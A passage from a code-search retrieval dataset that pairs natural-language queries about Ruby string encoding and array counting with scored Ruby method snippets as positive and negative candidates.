::RelativeURIError, \"context required to parse #{uri.inspect}\" unless context\n context = URI.parse(context)\n\n build_from_parsed_context(parsed_uri, context)\n else\n uri\n end\n end", "title": "" }, { "docid": "f5f4ff5fcf2ca540f1cad2181442f67f", "score": "0.48782626", "text": "def split_uri(uri); end", "title": "" }, { "docid": "f5f4ff5fcf2ca540f1cad2181442f67f", "score": "0.48782626", "text": "def split_uri(uri); end", "title": "" } ]
a2463f9e6ba68784c156876bdbb0a5a4
Force the encoding of all returned strings to the model's forced_encoding.
[ { "docid": "bfae4e917d5ce917b1c603458821f839", "score": "0.6093015", "text": "def typecast_value(column, value)\n s = super\n if s.is_a?(String) && !s.is_a?(Sequel::SQL::Blob) && (fe = model.forced_encoding)\n s = s.dup if s.frozen?\n s.force_encoding(fe)\n end\n s\n end", "title": "" } ]
[ { "docid": "82ff1fff8ba69e26165c7de5c254168d", "score": "0.7343299", "text": "def force_encoding(*); self; end", "title": "" }, { "docid": "e1f6a014090403fae321ea8ca5bbef58", "score": "0.7194289", "text": "def force_encoding(str)\n encoding = ::Rails.application.config.encoding if defined? ::Rails\n encoding ||= DEFAULT_ENCODING\n str.force_encoding(encoding).encode(encoding)\n end", "title": "" }, { "docid": "9683dfe3859174569313352e36903872", "score": "0.70402294", "text": "def force_encoding(*args) settings.force_encoding(*args) end", "title": "" }, { "docid": "c28ab55f5101e967aad0e832c7244b4c", "score": "0.6990507", "text": "def force_encoding new_encoding\n new_encoding = Encoding.find new_encoding unless Encoding === new_encoding\n @encoding = new_encoding\n try_force_encoding self.body\n try_force_encoding @raw\n @encoding\n end", "title": "" }, { "docid": "4cb1ad1075eeb756f5de4a72a6a83293", "score": "0.69462454", "text": "def force_encoding new_encoding\n new_encoding = Encoding.find new_encoding unless Encoding === new_encoding\n @encoding = new_encoding\n try_force_encoding @body\n try_force_encoding @raw\n @encoding\n end", "title": "" }, { "docid": "5e3c983e5f5b5f0b6192b6a08c720bd2", "score": "0.69348496", "text": "def udpate_encoding str\n str.force_encoding self.encoding if str.respond_to? :force_encoding\n str\n end", "title": "" }, { "docid": "8cb04ad96a7780f9214ca714f4feef00", "score": "0.6853364", "text": "def force_encoding(encoding)\n @buf.force_encoding(encoding)\n end", "title": "" }, { "docid": "bbea03e99430859ba47924e953c55598", "score": "0.68383694", "text": "def force_utf8!\n force_encoding( 'utf-8' )\n encode!( 'utf-16be', invalid: :replace, undef: :replace ).encode( 'utf-8' )\n end", "title": "" }, { "docid": "ab65e40355173d901ac6316746577a28", "score": "0.681874", "text": "def force_utf8_encoding_if_needed(str); end", "title": "" }, { "docid": "9862f8892534f3746d7ebe55ef985c06", "score": "0.68167394", "text": "def force_encoding output, input\n if output.respond_to?(:force_encoding)\n output.force_encoding(input.encoding)\n else\n output\n end\n end", "title": "" }, { "docid": "d64698d36f266acbb5d8d699cde52e6e", "score": "0.68092465", "text": "def fix_encoding(str)\n str.force_encoding(Encoding.default_external) if str.respond_to?(:force_encoding)\n str\n end", "title": "" }, { "docid": "ea408b9e7811b336faafd7f9ad5f6b58", "score": "0.6804963", "text": "def utf8\n if String.method_defined? :force_encoding\n dup.force_encoding('utf-8')\n else\n self\n end\n end", "title": "" }, { "docid": "ca37a443b0e1e149f55ad25187c3a5f0", "score": "0.6680685", "text": "def force_encodings_on_fields\n crypt_keeper_fields.each do |field|\n if attributes.has_key?(field.to_s) && send(field).respond_to?(:force_encoding)\n send(field).force_encoding(crypt_keeper_encoding)\n end\n end\n end", "title": "" }, { "docid": "0cd70a3ccc12b9f2623c66f3a8b1493b", "score": "0.66443884", "text": "def transcode(encoded_strings)\n encoded_strings.force_encoding(\"utf-8\")\nend", "title": "" }, { "docid": "7f35d85c584aa8c280e967943319604e", "score": "0.66286033", "text": "def try_force_encoding str\n str.force_encoding encoding if str.respond_to? :force_encoding\n str\n end", "title": "" }, { "docid": "7f35d85c584aa8c280e967943319604e", "score": "0.66286033", "text": "def try_force_encoding str\n str.force_encoding encoding if str.respond_to? :force_encoding\n str\n end", "title": "" }, { "docid": "037bc7ad3c5258634e8fd0b620bc36cd", "score": "0.65997624", "text": "def fix_encoding\n self.title = EncodingManager.fix_encoding self.title\n self.url = EncodingManager.fix_encoding self.url\n self.fetch_url = EncodingManager.fix_encoding self.fetch_url\n end", "title": "" }, { "docid": "b6563883b6ad2b0c4b5fb6aad8475c0d", "score": "0.65579134", "text": "def to_utf8!; replace(to_utf8); end", "title": "" }, { "docid": "b6563883b6ad2b0c4b5fb6aad8475c0d", "score": "0.65579134", "text": "def to_utf8!; replace(to_utf8); end", "title": "" }, { "docid": "b6563883b6ad2b0c4b5fb6aad8475c0d", "score": "0.65579134", "text": "def to_utf8!; replace(to_utf8); end", "title": "" }, { "docid": "411668db884def13990cbc906f7f4476", "score": "0.65437347", "text": "def force_encoding(value)\n case value\n when Time,Date\n value = value.dup if value.frozen?\n value.to_s.force_encoding('UTF-8')\n when String\n value = value.dup if value.frozen?\n value.force_encoding('UTF-8')\n when Array\n value.map{ |v| force_encoding(v) }\n when Hash\n new = {}\n value.each do |k,v|\n k = force_encoding(k)\n v = force_encoding(v)\n new[k] = v\n end\n new\n end\n end", "title": "" }, { "docid": "b4d87cad2be762673dd3345baf69c2b0", "score": "0.6468371", "text": "def force_encoding=(_arg0); end", "title": "" }, { "docid": "46d8acf1fb74b988fd053bba46333144", "score": "0.63898116", "text": "def sane\n self.encode(Encoding::UTF_8, invalid: :replace, undef: :replace, replace: \"�\").strip.tr(\"\\u{202E}%$|:; \\t\\r\\n\\\\\", \"-\")\n end", "title": "" }, { "docid": "42b2c0a20698d1a74418c2dce1dfd4fe", "score": "0.63788265", "text": "def encoding_fixer(str)\n str = str.to_s # catch str = nil\n #if !str.force_encoding('UTF-8').valid_encoding?\n # str.encode!('UTF-8', 'ISO-8859-1', {:invalid => :replace, :undef => :replace, :xml => :text})\n #end\n tmp = str.force_encoding('UTF-8').encode('UTF-8', :invalid => :replace, :undef => :replace, :replace => \"\\u2e2e\")\n # replace all special control chars as well but keep newline and whitespace \"\\u2e2e\"\n tmp.force_encoding('binary').gsub!(/[\\x00-\\x07\\x0C-\\x1F]|\\xef\\xbf\\xbe|\\xef\\xbf\\xbf/n, \"\\xe2\\xb8\\xae\".force_encoding('binary'))\n return tmp.force_encoding('UTF-8')\n end", "title": "" }, { "docid": "75508f0903a1e0456a64131b9ff8c668", "score": "0.6323235", "text": "def transcode(text)\n text.force_encoding(Encoding::UTF_8)\nend", "title": "" }, { "docid": "f033d287e7e6a9e5d869580a1b81833e", "score": "0.6312528", "text": "def default_encoding; end", "title": "" }, { "docid": "f033d287e7e6a9e5d869580a1b81833e", "score": "0.6312528", "text": "def default_encoding; end", "title": "" }, { "docid": "ffab3b68ed010f5b2a83c18cddb048ea", "score": "0.6299371", "text": "def on_tstring_content(value)\n super(value.force_encoding('UTF-8'))\n end", "title": "" }, { "docid": "37c115c26452f5c9deb00a803a4106d3", "score": "0.62763", "text": "def to_utf8\n if defined?(String::Encoding)\n begin\n self.encode(\"UTF-8\")\n rescue Encoding::UndefinedConversionError => e\n forced = self.force_encoding(\"UTF-8\")\n if forced.valid_encoding?\n forced\n else\n raise EncodingError.new(\"Unable to convert string from #{self.encoding} to UTF-8. The encode method threw '\" + e.message + \"' and forced encoding failed to produce a valid string encoding\")\n end\n end\n else\n # This seems to be ruby 1.8.x, use iconv instead\n ::Iconv.conv('UTF-8//IGNORE', 'UTF-8', self + ' ')[0..-2]\n end\n end", "title": "" }, { "docid": "ccd553193491f31e014672a6a4d79f85", "score": "0.6270042", "text": "def utf8\n self.encode('UTF-8', 'binary', :invalid => :replace, :undef => :replace, :replace => '?')\n end", "title": "" }, { "docid": "06a1f43eb53c53d70370c0f208711eea", "score": "0.6256858", "text": "def normalize_encoding text\n text.encode 'windows-1252', fallback: FALLBACK_CHARS\n rescue ::Encoding::UndefinedConversionError\n logger.warn %(The following text could not be fully converted to the Windows-1252 character set:\n#{text.gsub(/^/, '| ').rstrip}) if logger.info? && !@document.scratch?\n text.encode 'windows-1252', undef: :replace, replace: ?\\u00ac\n end", "title": "" }, { "docid": "ed80185d2852ff19971480dc9735a4e7", "score": "0.6218985", "text": "def encoding_style\n Encoding.default_internal = 'UTF-8'\n Encoding.default_external = 'UTF-8'\n end", "title": "" }, { "docid": "b8467fd58ee9f81fdbd8045e58dc1347", "score": "0.62111026", "text": "def set_default_encoding()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "bcab2a012c480510f88e75a1f72e365e", "score": "0.6203476", "text": "def force_hash_encoding(row)\n if fe = model.forced_encoding\n row.each_value{|v| v.force_encoding(fe) if v.is_a?(String) && !v.is_a?(Sequel::SQL::Blob)}\n end\n row\n end", "title": "" }, { "docid": "50265524d8bd64a5ebbbd42900942223", "score": "0.6162765", "text": "def transcode string\n string.force_encoding(Encoding::UTF_8)\n end", "title": "" }, { "docid": "a852a3400cbc0ff19796c2ade9cce584", "score": "0.6160142", "text": "def fix_charset(object)\n return nil if object.nil?\n\n if object.charset\n object.body.decoded.force_encoding(object.charset.gsub(/utf8/i, \"UTF-8\")).encode(\"UTF-8\").to_s\n else\n object.body.to_s\n end\n rescue\n nil\n end", "title": "" }, { "docid": "72a1747bd521460ab989aa589f864206", "score": "0.6148766", "text": "def ensure_correct_encoding!(val)\n if @eval_string.empty? &&\n val.respond_to?(:encoding) &&\n val.encoding != @eval_string.encoding\n @eval_string.force_encoding(val.encoding)\n end\n end", "title": "" }, { "docid": "5bdb8ebbafa774dfb05242003ad765ee", "score": "0.61387676", "text": "def fix_encoding(string)\n if [:valid_encoding?, :force_encoding].all? { |m| string.respond_to?(m) }\n if !string.valid_encoding?\n # The 2 possible encodings in responses are UTF-8 and ISO-8859-1\n # http://www.salesforce.com/us/developer/docs/api/Content/implementation_considerations.htm#topic-title_international\n #\n [\"UTF-8\", \"ISO-8859-1\"].each do |encoding_name|\n\n s = string.dup.force_encoding(encoding_name)\n\n if s.valid_encoding?\n return s\n end\n end\n\n raise \"Invalid encoding in SOAP response: not in [US-ASCII, UTF-8, ISO-8859-1]\"\n end\n end\n\n return string\n end", "title": "" }, { "docid": "afe7c42b371ecd54af424163e140a618", "score": "0.612515", "text": "def fixup_utf8\n @fixup_utf8 = true\n end", "title": "" }, { "docid": "e2c688f0fc2d769ea1f232b2a02795ba", "score": "0.6110032", "text": "def clean_utf\n attribute_names.each do |field|\n next unless self[field]\n next unless self[field].is_a? String\n self[field] = Iconv.iconv('UTF-8//IGNORE','UTF-8',self[field]).first\n end\n end", "title": "" }, { "docid": "52064291585734372b3b72f381f161ba", "score": "0.6102135", "text": "def fix_encoding(str)\n if str.encoding == ::Encoding::ASCII_8BIT\n f_enc = str.match(/\\A@charset \"([-A-Za-z0-9_]+)\";/)\n if f_enc && f_enc[1]\n str.force_encoding(::Encoding.find(f_enc[1]))\n else\n str.force_encoding(::Encoding.default_external)\n end\n end\n end", "title": "" }, { "docid": "e43bf5615a4b1a8c60c2a6af24175fea", "score": "0.60897493", "text": "def force_utf8(string)\n return nil unless string\n\n binary = string.encode('BINARY', invalid: :replace, undef: :replace, replace: '?') # Needed for Ruby 2.0 since #encode is a no-op if the string is already UTF-8. It's not needed for Ruby 2.1 and up since it's not a no-op there.\n binary.encode('UTF-8', invalid: :replace, undef: :replace, replace: '?')\n end", "title": "" }, { "docid": "91c4ff97994770152dbb30f32e61f606", "score": "0.60808814", "text": "def to_utf8\n to_s\n end", "title": "" }, { "docid": "ff51a1db7f0634b7d0484273ae40a208", "score": "0.6042614", "text": "def normal!(encoding = \"UTF-8\")\n encode!(encoding, :invalid => :replace, :undef => :replace, :replace => \"\")\n gsub!(\"\\0\", \"\")\n gsub!(\"\\r\\n\", \"\\n\")\n end", "title": "" }, { "docid": "259a0998a3bd319110d6700fe701c351", "score": "0.6038622", "text": "def normalize_utf8!\n @wrapped_string = @@utf8_proxy.normalize_utf8(@wrapped_string)\n end", "title": "" }, { "docid": "259a0998a3bd319110d6700fe701c351", "score": "0.6038622", "text": "def normalize_utf8!\n @wrapped_string = @@utf8_proxy.normalize_utf8(@wrapped_string)\n end", "title": "" }, { "docid": "604f34faa1d3b192ffb764cd8fd1b7ae", "score": "0.6025618", "text": "def force_utf8_encoding(msg)\n msg.respond_to?(:force_encoding) && msg.encoding.name != 'UTF-8' ? msg.force_encoding('UTF-8') : msg\n end", "title": "" }, { "docid": "4faa1a37897ab25efaac98f4cdf262f0", "score": "0.6016178", "text": "def force_entry_names_encoding; end", "title": "" }, { "docid": "7a830c770e5665cb15346d2eebfb532c", "score": "0.59978414", "text": "def override_encoding_to_utf_8(string)\n string_copy = string.dup\n original_encoding = string_copy.encoding\n return string_copy if original_encoding == Encoding::UTF_8\n if string_copy.force_encoding(Encoding::UTF_8).valid_encoding?\n return string_copy\n else\n Puppet.debug {\n _(\"%{value} is not valid UTF-8 and result of overriding encoding would be invalid.\") % { value: string.dump }\n }\n # Set copy back to its original encoding before returning\n return string_copy.force_encoding(original_encoding)\n end\n end", "title": "" }, { "docid": "8e27d8f6b4c34cdfe6daf3edb3b4e9d9", "score": "0.5989111", "text": "def tidy_bytes(string, force = false)\n return string if string.empty? || string.ascii_only?\n return recode_windows1252_chars(string) if force\n string.scrub { |bad| recode_windows1252_chars(bad) }\n end", "title": "" }, { "docid": "627a79d0cb340c6447f6eb4fdba8f259", "score": "0.59733063", "text": "def normal(encoding = \"UTF-8\")\n encode(encoding, :invalid => :replace, :undef => :replace, :replace => \"\").gsub(\"\\0\", \"\").gsub(\"\\r\\n\", \"\\n\")\n end", "title": "" }, { "docid": "ad2f6b619f477333b3fd871d27f2ccb7", "score": "0.5971985", "text": "def fix_utf8\n self.encode!(\"utf-8\", {\n :invalid => :replace,\n :replace => \"<Invalid:UTF-8>\"\n })\n end", "title": "" }, { "docid": "1abcf9fc983becd65b25b831c7591f5b", "score": "0.59661615", "text": "def utf8(obj)\n if obj.instance_of?(String) && obj.encoding == Encoding::UTF_8 && obj.valid_encoding?\n obj.frozen? ? obj : obj.dup.freeze\n else\n obj = obj.to_s\n obj = obj.encode(Encoding::UTF_8, invalid: :replace, undef: :replace)\n obj.freeze\n end\n end", "title": "" }, { "docid": "8fa2f75b0cf593b706870633f27222ad", "score": "0.596498", "text": "def encoding()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "d8028671a68f5200ff478db02076bd70", "score": "0.5957316", "text": "def to_utf8\n to_s\n end", "title": "" }, { "docid": "f2ac15a9aac349f398cc91dcbf996e21", "score": "0.59538466", "text": "def encoding()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "ab810e30a5ed332252d862cdb5baa3af", "score": "0.5947539", "text": "def tidy_bytes!\n scrub! do |bad|\n bad.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)\n end\n to_s\n end", "title": "" }, { "docid": "0ef7041d25729b9f87a0638063a1acee", "score": "0.5944511", "text": "def encoding()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "0ef7041d25729b9f87a0638063a1acee", "score": "0.5944511", "text": "def encoding()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "0ef7041d25729b9f87a0638063a1acee", "score": "0.5944511", "text": "def encoding()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "5b3035de66dbc52777578433e9c0bf10", "score": "0.59395653", "text": "def encoding\n @encoding || 'utf8'\n end", "title": "" }, { "docid": "17e76b8f7938a5b52abb70f2dfb6adf7", "score": "0.5935764", "text": "def normalise_string_encoding(str)\n if RUBY_VERSION >= \"1.9\"\n return str.dup.force_encoding(\"utf-8\")\n else\n str\n end\n end", "title": "" }, { "docid": "3e70fdbe501df4ea28a7acad529b2000", "score": "0.59327674", "text": "def encoding()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "9fceddb11d97f2946ba042ea7b282efe", "score": "0.5921381", "text": "def encoding\n 'UTF-8'\n end", "title": "" }, { "docid": "f449dc0ccb378627a94010de3d9da4f0", "score": "0.5916616", "text": "def currentText # rubocop:disable MethodName\n super.force_encoding('utf-8')\n end", "title": "" }, { "docid": "a8d9ae4855996177c2a3f9c03158f188", "score": "0.5905539", "text": "def force_utf8_encoding(msg)\n msg.respond_to?(:force_encoding) && msg.encoding.name != 'UTF-8' ? msg.force_encoding('UTF-8') : msg\n end", "title": "" }, { "docid": "162fc252336fc088fb00fa6ef21d3aff", "score": "0.59029007", "text": "def encoding_for_ruby\n @database_encoding ||= case ActiveRecord::Base.connection.encoding\n when 'UTF8'\n 'UTF-8'\n else\n ActiveRecord::Base.connection.encoding\n end\n end", "title": "" }, { "docid": "b187dc389b4d2f15b835b829cd75590e", "score": "0.5898707", "text": "def ensure_correct_encoding!(val); end", "title": "" }, { "docid": "b187dc389b4d2f15b835b829cd75590e", "score": "0.5898707", "text": "def ensure_correct_encoding!(val); end", "title": "" }, { "docid": "1f0c39dece5d4e9452614ea544cb5510", "score": "0.5879962", "text": "def to_utf8(v)\n v.force_encoding(Encoding::UTF_8)\n end", "title": "" }, { "docid": "5558d863be57afcbf676786d8f9c3db2", "score": "0.58774483", "text": "def ensure_encoding!(target_encoding, options={})\n Ensure::Encoding.force_encoding!(self, target_encoding, options)\n end", "title": "" }, { "docid": "fc78e9f7333e4038ecc4ac99718c9c85", "score": "0.5853098", "text": "def forced_encoding_for_deterministic_encryption; end", "title": "" }, { "docid": "e681b1ecaf09a8cb00f11d4dcc11f78c", "score": "0.58496165", "text": "def process_encoding(source)\n source.force_encoding(Encoding::UTF_8)\n end", "title": "" }, { "docid": "f653b82bb2052fcf8d6dd1c7491ff4a2", "score": "0.5832327", "text": "def charset_encoder; end", "title": "" }, { "docid": "b45978eb0e5c6897b6eef67c96546af4", "score": "0.5823745", "text": "def to_ascii!()\n self.replace( self.to_ascii )\n end", "title": "" }, { "docid": "f7aa684fd05d80c7cc761a9e91bd2caf", "score": "0.58114004", "text": "def to_utf(str)\n str.force_encoding('UTF-8')\nend", "title": "" }, { "docid": "37a622b0927f01c934bde2f047fd8aa8", "score": "0.5786031", "text": "def convert_encoding(content); end", "title": "" }, { "docid": "efb215f28c59c24731d35ef39bfb4f1f", "score": "0.57858384", "text": "def encode_utf8 string\n (string.respond_to?(:force_encoding) and string.respond_to?(:encoding)) ?\n string.force_encoding(Encoding::UTF_8) : string\n end", "title": "" }, { "docid": "cfff56582b6839ecb4a1648c709d5135", "score": "0.5778614", "text": "def encoding; end", "title": "" }, { "docid": "cfff56582b6839ecb4a1648c709d5135", "score": "0.5778614", "text": "def encoding; end", "title": "" }, { "docid": "cfff56582b6839ecb4a1648c709d5135", "score": "0.5778614", "text": "def encoding; end", "title": "" }, { "docid": "cfff56582b6839ecb4a1648c709d5135", "score": "0.5778614", "text": "def encoding; end", "title": "" }, { "docid": "cfff56582b6839ecb4a1648c709d5135", "score": "0.5778614", "text": "def encoding; end", "title": "" }, { "docid": "cfff56582b6839ecb4a1648c709d5135", "score": "0.5778614", "text": "def encoding; end", "title": "" }, { "docid": "cfff56582b6839ecb4a1648c709d5135", "score": "0.5778614", "text": "def encoding; end", "title": "" }, { "docid": "cfff56582b6839ecb4a1648c709d5135", "score": "0.5778614", "text": "def encoding; end", "title": "" }, { "docid": "cfff56582b6839ecb4a1648c709d5135", "score": "0.5778614", "text": "def encoding; end", "title": "" }, { "docid": "729ee0464115e80c746ac0ffdeebf248", "score": "0.57562315", "text": "def replace_weird_characters(str)\n ascii_str = str.force_encoding('ASCII-8BIT')\n ascii_str.encode('UTF-8', undef: :replace, replace: '')\n end", "title": "" }, { "docid": "7ba4752d567789706373b99520061cb1", "score": "0.57400864", "text": "def encoding\n #@connection.encoding.to_s\n 'UTF-8'\n end", "title": "" }, { "docid": "d8d2569f7159780eb3da799edc2bec65", "score": "0.5733331", "text": "def utf_safe text\n if !text.valid_encoding?\n text = text.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n end\n text\nend", "title": "" }, { "docid": "d8d2569f7159780eb3da799edc2bec65", "score": "0.5733331", "text": "def utf_safe text\n if !text.valid_encoding?\n text = text.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n end\n text\nend", "title": "" }, { "docid": "ca6a25c532e4cb24ce5e126ad990cdd3", "score": "0.5724341", "text": "def convert_encoding data\n return if data.blank?\n self.class::XML_ENCODING != \"UTF-8\" ? Iconv.iconv(\"UTF-8\", self.class::XML_ENCODING, data).flatten.join(\" \") : data\n end", "title": "" }, { "docid": "1d72002855d42e66f527df7a2a820fd0", "score": "0.57242894", "text": "def fix_body_encoding(o)\n fix_encoding(o, 'UTF-8')\n end", "title": "" }, { "docid": "dbbdc6b265081057d4226b4e724ef3ac", "score": "0.57205504", "text": "def to_encoded_string(encoding=Encoding::ASCII_8BIT)\n raw_contents.dup.force_encoding(encoding)\n end", "title": "" }, { "docid": "ff89ade198a6fd171ccc0c027ae72571", "score": "0.57186025", "text": "def convert_to_utf8(value)\n $tracer.trace(\"CommonFunctions: #{__method__}, Line #{__LINE__}\")\n if value.is_a? String\n begin\n # Try it as UTF-8 directly\n cleaned = value.dup.force_encoding('UTF-8')\n unless cleaned.valid_encoding?\n # Some of it might be old Windows code page\n cleaned = value.encode( 'UTF-8', 'Windows-1252' )\n end\n value = cleaned\n rescue EncodingError\n # Force it to UTF-8, throwing out invalid bits\n value.encode!( 'UTF-8', invalid: :replace, undef: :replace )\n end\n end\n end", "title": "" }, { "docid": "9920ff297ec3ed7de55b53f2f92f93bc", "score": "0.5708192", "text": "def to_UTF8(s)\n return s.encode(\"iso-8859-1\").force_encoding(\"utf-8\")\nend", "title": "" }, { "docid": "90d0b9dd22013f6eab3542484170e8da", "score": "0.5707312", "text": "def convert_to_valid_utf8!(string, possible_encodings = [])\n original_encoding = string.encoding\n string.force_encoding(Encoding::UTF_8) unless original_encoding == Encoding::UTF_8\n return string if string.valid_encoding?\n\n possible_encodings.each do |encoding|\n string.force_encoding(encoding)\n return string.encode!(Encoding::UTF_8) if string.valid_encoding?\n end\n\n # Strip out remaining invalid/undefind characters as a last resort\n string.encode!(Encoding::UTF_8, original_encoding, invalid: :replace, undef: :replace, replace: '')\n end", "title": "" }, { "docid": "1342e4c6aefff14d00b246dcbc47ad02", "score": "0.57060003", "text": "def normalize_encoding!(str)\n str.replace(normalize_encoding(str))\n end", "title": "" }, { "docid": "bab55d280f462661ffbf32e1665875bb", "score": "0.5702402", "text": "def correctly_encoded(string)\n return string unless string.is_a?(String)\n\n # The .dup here is intentional, since force_encoding mutates the target,\n # and we don't know who is going to use this string downstream of us.\n string.valid_encoding? ? string : string.dup.force_encoding(Encoding::ASCII_8BIT)\n end", "title": "" }, { "docid": "51110e797c67a5f77e7e2a1e9f54a953", "score": "0.57007515", "text": "def encode_as_utf8(obj)\n if obj.is_a? Hash\n obj.each_pair do |key, val|\n encode_as_utf8(val)\n end\n elsif obj.is_a?(Array)\n obj.each do |val|\n encode_as_utf8(val)\n end\n elsif obj.is_a?(String) && obj.encoding != Encoding::UTF_8\n if !obj.force_encoding(\"UTF-8\").valid_encoding?\n obj.force_encoding(\"ISO-8859-1\").encode!(Encoding::UTF_8, :invalid => :replace, :undef => :replace)\n end\n end\n end", "title": "" } ]
481bdd34a1f31f47553a6598c3433bfb
Write a method that counts the number of elements of the array that is being passed in, only if the index of the number 42 in the onedimensional representation of the array is 5.
[ { "docid": "85d3f43b7bde7c0f49484f63a9626268", "score": "0.7277849", "text": "def zen(array)\n converted = array.compact.flatten\n converted.index(42) == 5 ? converted.count : nil\nend", "title": "" } ]
[ { "docid": "5a6599e6e0cb7d294e81d385fae5c104", "score": "0.74553514", "text": "def length_of_array(array)\n array.count\nend", "title": "" }, { "docid": "b4f372e1878d61924688fd6ac4f048ea", "score": "0.74418604", "text": "def q5\n array = [1, 5, 8, 10, 2, 3, 2, 3, 3, 1, 4, 5, 9]\n\n p array.count(3)\nend", "title": "" }, { "docid": "069fbf557cd5d2122e200610117fb9fd", "score": "0.7353608", "text": "def length_of_array(any_array)\n any_array.count\nend", "title": "" }, { "docid": "3f58043ff1aa8274c02c51da9ebbe140", "score": "0.7150589", "text": "def count_elements(arr)\n count = 0\n arr.each { |x| count += 1 if arr.include?(x+1) }\n count\nend", "title": "" }, { "docid": "6e7d9fb7c39ab37664cdb60acfd5b24b", "score": "0.703714", "text": "def evaluate(arr)\n count = 0\n arr.each do |i|\n count += 1\n if i.class == Array\n count += evaluate(i) if i.empty? != true\n end\n end\n count\nend", "title": "" }, { "docid": "ddbd91fb90ecfe4f32fbda1f81540633", "score": "0.7028113", "text": "def number_of_ones(arr)\n # YOUR WORK HERE\nend", "title": "" }, { "docid": "cabed4a47b70635067d91d25bfd13e8b", "score": "0.7006905", "text": "def count_items(array)\n array.count\nend", "title": "" }, { "docid": "7a51478c282ea19bc4aa162db2e78c6d", "score": "0.69653744", "text": "def length_of_array(array)\n array.size()\n end", "title": "" }, { "docid": "1d66ca352613f206e59e55e8dc95a6d4", "score": "0.6961586", "text": "def length(array)\n count = 0\n array.each do |x|\n count += 1\n end\n count \nend", "title": "" }, { "docid": "ff9b91aa84416ab4521571c891a402bc", "score": "0.69441247", "text": "def length_of_array(array)\n array.length\nend", "title": "" }, { "docid": "ff9b91aa84416ab4521571c891a402bc", "score": "0.69441247", "text": "def length_of_array(array)\n array.length\nend", "title": "" }, { "docid": "ff9b91aa84416ab4521571c891a402bc", "score": "0.69441247", "text": "def length_of_array(array)\n array.length\nend", "title": "" }, { "docid": "ff9b91aa84416ab4521571c891a402bc", "score": "0.69441247", "text": "def length_of_array(array)\n array.length\nend", "title": "" }, { "docid": "ff9b91aa84416ab4521571c891a402bc", "score": "0.69441247", "text": "def length_of_array(array)\n array.length\nend", "title": "" }, { "docid": "4db7b6c0376242c1ce8114e1388bb236", "score": "0.69215584", "text": "def count_many_item number, array \n array.count do |item|\n item < number\n end\nend", "title": "" }, { "docid": "e62378c8aec8011a90fc4a26befe8d61", "score": "0.6916829", "text": "def length_of_array (array)\n array.length\nend", "title": "" }, { "docid": "6ff287ac48116e0a44e839201671f5c7", "score": "0.68529165", "text": "def length_of_array(arr)\n return arr.size\nend", "title": "" }, { "docid": "8a2c6226deb13e5db21a7e19dd3078e5", "score": "0.6832641", "text": "def contando(arr)\n b = arr.count {|z| z > 5}\n print \"#{b}\\n\"\n end", "title": "" }, { "docid": "dc25062bb6f6e1f12a285ba83013d472", "score": "0.6822293", "text": "def count_elements(arr)\n new_arr = (arr | [])\n count = 0\n arr.each do |ele|\n count += 1 if new_arr.include?(ele+1) \n end\n count\nend", "title": "" }, { "docid": "139f15bbe732f610171856719e565b10", "score": "0.6769201", "text": "def count\n diff_array.select{|i| Array === i }.length\n end", "title": "" }, { "docid": "139f15bbe732f610171856719e565b10", "score": "0.6769201", "text": "def count\n diff_array.select{|i| Array === i }.length\n end", "title": "" }, { "docid": "7c832453a37ed0a08dbad914073349e8", "score": "0.6752542", "text": "def number_of_zeros quiz_array\n quiz_array.count(0)\nend", "title": "" }, { "docid": "7be6e44eb2ccb0f4934975028fb062d8", "score": "0.67384624", "text": "def length_of_array(arr)\n arr.length\nend", "title": "" }, { "docid": "7be6e44eb2ccb0f4934975028fb062d8", "score": "0.67384624", "text": "def length_of_array(arr)\n arr.length\nend", "title": "" }, { "docid": "600545bff5ccfcfaa05e27bd22ec4af7", "score": "0.67359173", "text": "def array_42(array)\n there_is_42 = 0\n array.each do |i|\n if i == 42 \n there_is_42 += 1\n end\n end\n if there_is_42 > 0\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "59e8553a6007dad02302e61950abacea", "score": "0.6735745", "text": "def count\n @array.length\n end", "title": "" }, { "docid": "2254ba0dd4edfbdbcb8f19d2e7cc6909", "score": "0.6722255", "text": "def count_matches(array, integer)\n array.count(integer)\nend", "title": "" }, { "docid": "0e85ac0ab82ff9105c225b001bb0c527", "score": "0.67200464", "text": "def length_of_array (array)\n\t#array.length\n array.size\nend", "title": "" }, { "docid": "9786873ec8525189461409e1d843479c", "score": "0.6707972", "text": "def count_elements_in_array(arr)\n arr.map do |num|\n [num, arr.count(num)]\n end.uniq\nend", "title": "" }, { "docid": "6c04df27eaca8139c13d144e55c19f85", "score": "0.6687399", "text": "def count(array)\n num_seen = 0\n (array.size).times do |index|\n num_seen += 1 if yield(array[index])\n end\n num_seen\nend", "title": "" }, { "docid": "9183647b9f57938eba1649a13190101b", "score": "0.66741174", "text": "def length(array)\nend", "title": "" }, { "docid": "a660aa075fba50adc58a6ce556a148fa", "score": "0.66715205", "text": "def deep_count(arr)\n arr.inspect.count(\"[\") - 1 + arr.flatten.size\nend", "title": "" }, { "docid": "96d1c3a43f1beb53f16dbf581dab3a10", "score": "0.66605985", "text": "def my_count\n \tcounter = 0\n \tarray = self\n \t for n in 0...array.length\n \t \tif yield(array[n]) == true\n \t counter += 1\n \t end\n \t end\n \tcounter\n end", "title": "" }, { "docid": "c73d3750e05ea9a8fadeef1fce5f20ae", "score": "0.66314656", "text": "def my_count(array)\n \n finally = 0\n\n i = 0\n while i < array.length\n\n if yield(array[i])\n finally += 1\n end\n \n i += 1\n \n end\n\n return finally\n end", "title": "" }, { "docid": "5467d9b92ef493dd65a23f3ae353a5d7", "score": "0.66241705", "text": "def num_55(collection)\n ctr=0\n for x in 0..collection.length\n if collection[x] == 55\n ctr+=1\n end\n end\n\n return ctr\nend", "title": "" }, { "docid": "c34e67838366728744e349a006030aa2", "score": "0.6616486", "text": "def get_length(arr)\n arr.flatten(2).count\nend", "title": "" }, { "docid": "31dfe850820b8393d8e2234ddd22c7c2", "score": "0.6603019", "text": "def count(arr)\n true_arr = []\n\n arr.each { |el| true_arr << el if yield(el) }\n\n true_arr.size\nend", "title": "" }, { "docid": 